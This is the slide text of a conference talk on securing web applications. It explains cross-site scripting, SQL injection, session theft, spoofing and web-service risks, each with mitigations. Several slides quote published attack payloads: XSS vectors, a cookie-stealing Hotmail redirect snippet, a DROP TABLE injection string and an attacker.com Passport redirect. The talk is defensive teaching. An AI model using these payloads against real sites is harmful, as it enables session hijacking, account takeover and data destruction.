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1 1 COMP-1: Securing your web application against hackers Edwin Lijnzaad & Ronald Smits Consultants Agenda Introduction Issues How to... Questions 2 COMP-1: Securing your web application against hackers Goal Learn how to prevent attacks on your application by exploring some techniques used by hackers 3 COMP-1: Securing your web application against hackers

2 2 Notice All hacking techniques in this presentation have been published before All security holes shown here have been corrected before publication 4 COMP-1: Securing your web application against hackers Introduction In a traditional business environment, consumers are known In a web-enabled environment, you cannot assume anything with regards to the way your application is accessed 5 COMP-1: Securing your web application against hackers Introduction Most modern business applications are network based Server-side code executes without any direct user interaction Client-side code can be altered by the user An applications defense is as strong as its weakest link. Security is an issue for administrators, designers and developers, but mainly for developers 6 COMP-1: Securing your web application against hackers

3 3 A simple example (1) A tour operator sells holidays on-line and offers the opportunity for its customers to add reviews <html> <body> <form action=".." method="post"> <textarea rows="8" cols="80"name="unsafe"> </textarea> <button type="submit">submit</button> </form> </body> </html> 7 COMP-1: Securing your web application against hackers A simple example (2) Suppose he wants to show the review to the visitors of his page: <html><head><title>unfiltered input</title></head> <body> <div><form method="post"> <textarea rows="8" cols="80" name="unsafe"> <!--WSE get-value('unsafe') --> </textarea> <button type="submit">submit</button> </form></div> </body> </html> 8 COMP-1: Securing your web application against hackers A simple example (3) Demo 9 COMP-1: Securing your web application against hackers

4 4 Why this is dangerous Drive-by pharming: D-Link router, default configuration Lure user to a page containing: <SCRIPT src= 6 > Every request made by the user now uses the new dns-server Source: 10 COMP-1: Securing your web application against hackers A simple example (4) Protecting against this exploit: <html><head><title>unfiltered input</title></head> <body> <div><form method="post"> <textarea rows="8" cols="80" name="unsafe"> <!--WSE html-encode(get-value('unsafe')) --> </textarea> <button type="submit">submit</button> </form></div> </body> </html> 11 COMP-1: Securing your web application against hackers A simple example (5) Internet Explorer, Firefox, Opera: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Firefox: <BODY onload!#$%&()*~+-_.,:;?@[/ \]^`=alert("xss")> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> Opera: <IMG SRC="javascript:alert('XSS');"> 12 COMP-1: Securing your web application against hackers

5 5 A well-known example Hotmail.com: <html> [...] <body> <style type= application/x-javascript > document.location.replace ( +?what=document.cookie) </style> </body> </html> 13 COMP-1: Securing your web application against hackers Validation in ABL Demo 14 COMP-1: Securing your web application against hackers Security Principles Minimize Exposure Track Data Filter Input Escape Output 15 COMP-1: Securing your web application against hackers

6 6 Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 16 COMP-1: Securing your web application against hackers Code Injection Placing software code into a computer system SQL Injection Cross-Site scripting (XSS) 17 COMP-1: Securing your web application against hackers SQL Injection Example with SQLServer: SELECT * FROM usr WHERE name = '" + a ;DROP TABLE usr + "'; Affected: Every database with a SQL engine, including the OpenEdge SQL92 engine OpenEdge ABL is safe, isn't it? 18 COMP-1: Securing your web application against hackers

7 7 ABL Injection Demo 19 COMP-1: Securing your web application against hackers Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 20 COMP-1: Securing your web application against hackers Unvalidated input Microsoft passport: attacker.com&rst=1 The remote user will then receive an e- mail from the.net Passport server providing a URL where the remote user can change the password. The form does not require the remote user to enter the previous password. Source: 21 COMP-1: Securing your web application against hackers

8 8 Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 22 COMP-1: Securing your web application against hackers Broken access control html form login Presumes a logic sequence first login, then menu, then... Often implemented by using sessions http authentication No clear-text passwords, Domain related authentication Used when SSL is not possible 23 COMP-1: Securing your web application against hackers Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 24 COMP-1: Securing your web application against hackers

9 9 Sessions A mechanism for maintaining state between subsequent page requests. Often little more than a simple value that identifies the interaction between the client and server In general this involves storing a Session identifier on the client. 25 COMP-1: Securing your web application against hackers Stealing sessions Session id exchanged with the client: in a hidden field in the url in a cookie 26 COMP-1: Securing your web application against hackers Preventing session theft Validity checks Time of issuing IP address check User-agent check Encrypting session tokens Explicitly ending a session (logout) 27 COMP-1: Securing your web application against hackers

10 10 Session tokens Demo 28 COMP-1: Securing your web application against hackers Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 29 COMP-1: Securing your web application against hackers Cross-Site Scripting Embedding malicious Javascript, VBScript, ActiveX or Flash into a vulnerable dynamic page Source: Acunetix 30 COMP-1: Securing your web application against hackers

11 11 Cross-Site Scripting example The CartWIZ ecommerce Shopping Cart System: '">alert(document.cookie) Found by Dcrab Published: 31 COMP-1: Securing your web application against hackers Cross-Site scripting Affected Every web-based application Main problem Not properly filtering input 32 COMP-1: Securing your web application against hackers Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 33 COMP-1: Securing your web application against hackers

12 12 Spoofing A spoofing attack is a situation in which one person or program successfully masquerades as another by falsifying data and thereby gaining an illegitimate advantage (Wikipedia) removing restrictions (maxlength=) removing Javascript checks changing parameters (hidden fields) 34 COMP-1: Securing your web application against hackers Spoofing We (the Dutch) use this technique frequently to enter a Dutch postal code into a US designed form to enter an international phone number 35 COMP-1: Securing your web application against hackers Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 36 COMP-1: Securing your web application against hackers

13 13 Web service related issues XML injection Access control issues Session stealing Denial of Service Applies to both Web Service Adapter and Webspeed based web services 37 COMP-1: Securing your web application against hackers Denial of Service Demo 38 COMP-1: Securing your web application against hackers Issues Code injection Unvalidated input Broken access control Session theft Cross-Site Scripting Spoofing Web service related issues Other issues 39 COMP-1: Securing your web application against hackers

14 14 Other issues Snooping Eavesdropping Man-in-the-middle attacks Service providers Denial of Service attacks Spamming Resource-intensive requests Information stealing / resource usage Getting data from other websites Mash-ups Limited or no control over third party content 40 COMP-1: Securing your web application against hackers Agenda Introduction Issues How to... Questions 41 COMP-1: Securing your web application against hackers Security by Design Security policy A definition of what it means to be secure for a system, organization or other entity (Wikipedia) Security by default The defaults are the most secure settings possible Least privilege Each user can access only the information and resources that are necessary for his or her role 42 COMP-1: Securing your web application against hackers

15 15 Assumptions to avoid (wikipedia) Punctuation like quotation marks or semi-colons will never appear Only numeric characters will be entered as input The input will never exceed a certain size Numeric values are bounded Values set by server (such as hidden form fields or cookies) cannot be modified by client. It is okay to pick pointers or array indexes from input An input will never provide false information about itself or related values, such as the size of a file 43 COMP-1: Securing your web application against hackers Some useful penetration tests Testing for CSRF Testing for Cross Site Scripting Testing for XML Injection Testing for naughty SOAP attachments P_Attachments AJAX vulnerabilities 44 COMP-1: Securing your web application against hackers And of course... Be aware of RUN risks Don't leave stuff on your production servers Check the call stack Avoid RUN VALUE() Don't run a production system in development mode Balance efforts and costs 45 COMP-1: Securing your web application against hackers

16 16 References Open Web Application Security Project ng_guide_v2_table_of_contents ha.ckers.org Google hacking database 46 COMP-1: Securing your web application against hackers Questions? 47 COMP-1: Securing your web application against hackers

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